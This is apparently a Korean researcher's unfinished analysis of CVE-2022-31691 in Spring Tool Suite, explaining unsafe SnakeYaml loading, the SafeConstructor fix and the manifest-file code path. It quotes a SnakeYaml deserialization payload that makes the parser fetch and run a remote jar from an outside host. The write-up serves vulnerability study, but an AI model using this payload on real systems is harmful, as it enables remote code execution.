
제가 (지금까지는 결론이 나지 않은) CVE-2022-31691에 대한 조사 내용을 정리한 글입니다.
CVE-2022-31691에 대한 (아직까지는 결론이 나지 않은) 분석 기록입니다.
저는 Eclipse용 Spring Tool Suite(STS)를 자주 사용하며, 새 Spring Boot 프로젝트를 초기화할 때 주로 여기에 의존합니다. 이 취약점(https://tanzu.vmware.com/security/cve-2022-31691 참조)은 yaml 구성 파일에서 콘텐츠를 안전하지 않게 로드함으로써 유발될 수 있는 RCE입니다.
SnakeYaml은 Java에서 매우 널리 사용되는 yaml 파서이자 생성기(emitter)입니다. 그러나 다른 어떤 마샬링/언마샬링 프로세스와 마찬가지로, 원치 않는 콘텐츠가 메모리로 직접 로드될 위험이 항상 존재합니다. SnakeYaml도 예외는 아닙니다. https://code.google.com/archive/p/snakeyaml/wikis/Documentation.wiki#Tutorial을 참조하세요.
Loading YAML
Warning: It is not safe to call Yaml.load() with any data received from an untrusted source!
The method Yaml.load() converts a YAML document to a Java object.
이런 점을 고려하여 프로젝트 유지관리자들은 SafeConstructor 메서드를 추가했습니다:
Note if you want to limit objects to standard Java objects like List or Long you need to use SafeConstructor.
Yaml yaml = new Yaml(new SafeConstructor());
이유는 상당히 명확하지만, 이 조언이 제대로 지켜지고 있지는 않은 듯합니다. 안전하지 않은 로딩 방식의 사례는 멀리 찾을 필요도 없이 쉽게 볼 수 있습니다. Spring에 대한 훌륭한 정보 소스인 Baeldung조차도 해당 가이드(https://www.baeldung.com/java-snake-yaml#basic-usage)에서 이를 언급하지 않습니다.
이를 악용하려면 이 생성자가 제가 통제할 수 있는 객체를 언마샬링하도록 만들어야 합니다. 다행히도 다른 사람들이 이미 이와 관련한 사전 작업을 해두었습니다. https://github.com/artsploit/yaml-payload는 https://github.com/mbechler/marshalsec처럼 SnakeYaml 악용 페이로드를 생성하는 아주 간단한 프로젝트입니다. 그 접근 방식은 다음과 같습니다:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://artsploit.com/yaml-payload.jar"]
]]
]
이 취약점은 STS 버전 4.16.1에서 수정되었습니다. 이 버전의 커밋들을 빠르게 살펴보면 무엇이 수정되었는지에 대한 몇 가지 유용한 단서를 얻을 수 있습니다 - https://github.com/spring-projects/sts4/compare/4.16.0.RELEASE...4.16.1.RELEASE
이 커밋의 메시지 - "Use SafeConstructor in Snakeyaml YAML constructors"는 무엇이 수정되었는지를 잘 알려주는 단서입니다.
예상대로 이 부분이 SafeConstructor로 대체된 곳입니다.
YamlASTProvider parser = new YamlASTProvider(new Yaml(new SafeConstructor()));
이를 악용하려면 이 SnakeYaml 생성자에 악성 콘텐츠를 주입해야 하므로, 이 생성자가 어디에서 호출되는지 추적해야 합니다.
SnakeYaml 객체 생성에는 getInputStream() 메서드가 생성한 InputStream 객체가 입력으로 전달됩니다.
getInputStream()은 로드할 manifest 파일을 결정하기 위해 getManifestFile()을 호출합니다.
getManifestFile()은 생성자에서 지정된 경우 manifest 파일의 위치를 반환하거나, 그렇지 않으면 null을 반환합니다.
ApplicationManifestHandler 클래스는 CloudFoundryBootDashModel 클래스에서 여기에 초기화되며, resolveDeploymentProperties 메서드의 생성자에 설정된 값에서 파생된 값을 전달받습니다 여기.
제 악성 manifest.yml 파일을 로드/호출하도록 만들려면 CloudFoundry 구성을 어느 정도 갖춰야 할 것이라고 확신합니다.
알고 보니 CloudFoundry는 (아마도) Kubernetes 등의 영향으로 사라져 가는 기술입니다. CF 연결을 만들 수 있는 공개 플랫폼을 찾을 수 없어서, 실제로 여기서 테스트해 볼 수는 없습니다.
취약점과 악용 방법에 대한 제 이해를 검증하기 위해서라도, CloudFoundry 로컬 개발 인스턴스를 구동하는 방법을 알아볼 예정입니다.